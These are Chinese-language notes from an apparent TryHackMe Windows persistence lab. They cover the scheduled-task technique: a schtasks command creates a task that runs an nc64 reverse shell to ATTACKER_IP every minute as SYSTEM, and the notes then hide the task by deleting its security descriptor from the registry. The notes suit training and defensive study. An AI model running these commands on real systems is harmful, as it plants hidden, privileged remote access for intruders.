任务调度程序

:::danger

安排任务的最常见方法是使用内置的Windows 任务计划程序。任务计划程序允许精细控制任务何时开始,允许您配置将在特定时间激活、定期重复甚至在特定系统事件发生时触发的任务。 我们可以使用 <font style="color:rgb(33, 37, 41);">schtasks</font>来与计划程序交互

:::

将创建一个“THM-TaskBackdoor”任务并执行一个 nc64反向 shell 返回给攻击者。/sc/mo表示任务应该每分钟运行一次。/ru选项表示该任务将以 SYSTEM 权限运行。

  1. C:\> schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
  2. SUCCESS: The scheduled task "THM-TaskBackdoor" has successfully been created.

我们使用如下命令检查任务是否已经成功创建:

  1. C:\> schtasks /query /tn thm-taskbackdoor
  2. Folder: \
  3. TaskName Next Run Time Status
  4. ======================================== ====================== ===============
  5. thm-taskbackdoor 5/25/2022 8:08:00 AM Ready

让我们的任务不可见

:::danger

我们的任务现在应该启动并运行,但如果受感染的用户试图列出其计划任务,我们的后门就会引人注目。为了进一步隐藏我们的计划任务,我们可以通过删除其安全描述符 (SD)使其对系统中的任何用户都不可见。安全描述符只是一个 ACL,说明哪些用户可以访问计划任务。如果不允许您的用户查询计划任务,您将无法再看到它,因为 Windows 只会向您显示您有权使用的任务。删除SD相当于禁止所有用户访问计划任务,包括管理员。

所有计划任务的安全描述符都存储在 **HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\**. 您会为每个任务找到一个注册表项,在该注册表项下名为“SD”的值包含安全描述符。如果您拥有 SYSTEM 权限,则只能删除该值。

:::

  1. C:\> c:\tools\pstools\PsExec64.exe -s -i regedit

计划任务 - 图1

这时候我们再查询任务就发现查询不到

  1. C:\> schtasks /query /tn thm-taskbackdoor
  2. ERROR: The system cannot find the file specified.